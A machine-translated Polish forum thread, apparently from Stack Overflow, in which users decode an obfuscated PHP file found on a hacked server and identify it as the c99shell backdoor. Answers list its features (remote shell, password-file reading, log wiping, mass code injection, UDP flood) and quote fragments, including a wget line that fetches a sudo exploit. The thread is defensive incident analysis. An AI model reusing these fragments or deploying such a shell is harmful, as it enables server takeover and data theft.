2010-09-14 14 views
22

OSTRZEŻENIE: Jest to możliwe exploit. Nie uruchamiaj się bezpośrednio na serwerze, jeśli nie masz pewności, co z tym zrobić.Hacked, co robi ten fragment kodu?

http://pastehtml.com/view/1b1m2r6.txt

Uważam ten został przesłany za pośrednictwem niezabezpieczonego skryptu wysyłania. Jak mogę dekodować i dekompresować ten kod? Uruchomienie go w przeglądarce może wykonać jako skrypt powłoki, otworzyć port lub coś podobnego.

Mogę wykonać dekodowanie base64 w trybie online, ale nie mogę go rozpakować.

+0

Czy to możliwe dla Ciebie aby wkleić kod tutaj? Nie jestem w stanie otworzyć tego linku .. – jyz

+1

Obawiam się, że to jest jeszcze wykonane. :(Btw można go rozpakować, ale nie eval to. – fabrik

+1

@jyzuz: Kod jest ogromny – fabrik

Odpowiedz

32

Więc jest ciąg znaków. Jest skompresowany na gzip i base64, a kod dekoduje bazę, a następnie ją kompresuje.

Kiedy to zrobił, ja wynikał z tego:

<? eval(base64_decode('...')); ?> 

Innym warstwa base64, która jest długa 720440 bajtów.

Teraz, dekodowanie base64, mamy 506961 bajtów kodu exploita.

Wciąż sprawdzam kod i zaktualizuję tę odpowiedź, gdy będę miał więcej zrozumienia. Kod jest ogromny.

Wciąż poprzez czytanie kodu, a (bardzo dobrze zrobione) exploit pozwala narzędzia te mają być wystawione na hakera:

  • setup backdoor TCP
  • nieautoryzowany dostęp shell
  • czytania wszystkim htpasswd, .htaccess, hasło i pliki konfiguracyjne
  • dziennika wycierając
  • MySQL dostęp (odczyt, zapis)
  • append Kod do wszystkich plików pasujących do wzorca nazw (masa exploit)
  • RFI/LFI skaner
  • powódź UDP
  • informacje jądro

Prawdopodobnie jest to profesjonalny PHP opartych całego serwera wykorzystania narzędzi i widząc, że ma ładny interfejs HTML i całe mnóstwo, może być z łatwością wykorzystany przez pro hackera, a nawet scenicznego kiddie.

Ten exploit nazywa się c99shell (dzięki Yi Jiang) i okazuje się być dość popularny, o którym mówi się i działa już od kilku lat. Google udostępnia wiele wyników dotyczących tego exploita.

+3

Wow, to kompletna konfiguracja backdoora. Choć facet, który go przesłał, jest prawdopodobnie kolejnym dzieckiem dla scenariusza. Był hostowany bezpośrednio pod naszym głównym katalogiem apache. A prawdziwy haker usunąłby go po ustawieniu backdoora. – HyderA

+0

Ma w sobie skrypt powłoki, łańcuch o nazwie $ backdoor, który jest wypisywany i wykonywany. Następnie PHP mówi użytkownikowi, że zostało to zrobione i łączy się z netcat. –

+4

Gówno jak to mnie przeraża 'tablica (" wget Sudo Exploit "," wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c "),' – HyderA

3

Po pierwsze, zamień eval na echo, aby zobaczyć, jaki kod by wykonał, gdybyś na to pozwolił. Wyślij dane wyjściowe tego skryptu do innego pliku, na przykład test2.php. W tym pliku powtórz tę samą sztuczkę. Uruchom go i wyświetli pełny złośliwy program (to całkiem jakaś bestia), ~ 4k linii rozkoszy hakera.

+0

Masz rację, dlaczego o tym nie pomyślałem ?! – HyderA

16

Patrząc na zdekodowane źródło Delana, wygląda na to, że jest pełnowartościowym backdoorem udostępniającym interfejs sieciowy, który może być używany do kontrolowania serwera na różne sposoby.Powiem fragmenty ze źródła:

echo '<center>Are you sure you want to install an IP:Port proxy on this 
website/server?<br /> 

lub

<b>Mass Code Injection:</b><br><br> 
Use this to add PHP to the end of every .php page in the directory specified. 

lub

echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . 
    round(($pakits*65)/1024, 2) . " MB) packets averaging ". 
    round($pakits/$exec_time, 2) . " packets per second \n"; 

lub

if (!$fp) {echo "Can't get /etc/passwd for password-list.";} 

Radziłbym Ci szorować ten serwer i ponownie zainstalować wszystko od zadraśnięcie.

+4

+1 ode mnie, dobra rada. –

7

wiem Delan Azabani zrobił tego, ale tak naprawdę wiedzą jak dostał dane OUT:

Tylko w przypadku, gdy zastanawiasz się, jak to rozpakować, użyj base64 -d filename > output do analizowania ciągów base64 i gunzip file.name.gz do przeanalizuj spakowane dane.

Sztuką jest rozpoznanie, że masz base64 lub gunzip i dekompresujesz właściwe bity.

W ten sposób przechodzi absolutnie nigdzie w pobliżu parsera JS lub parsera PHP.

+2

Wielka wskazówka bezpieczeństwa; nigdy nie pozwól jej wykonać. –

2

To jest kod powłoki PHP.
zdekodować ten

zastąpić zastąpić eval ("?>". Z nadrukiem ( run to

php5 file.php > file2.php 

następnie zastąpić eval z nadrukiem i uruchomić w przeglądarce. http://loclhost/file2.php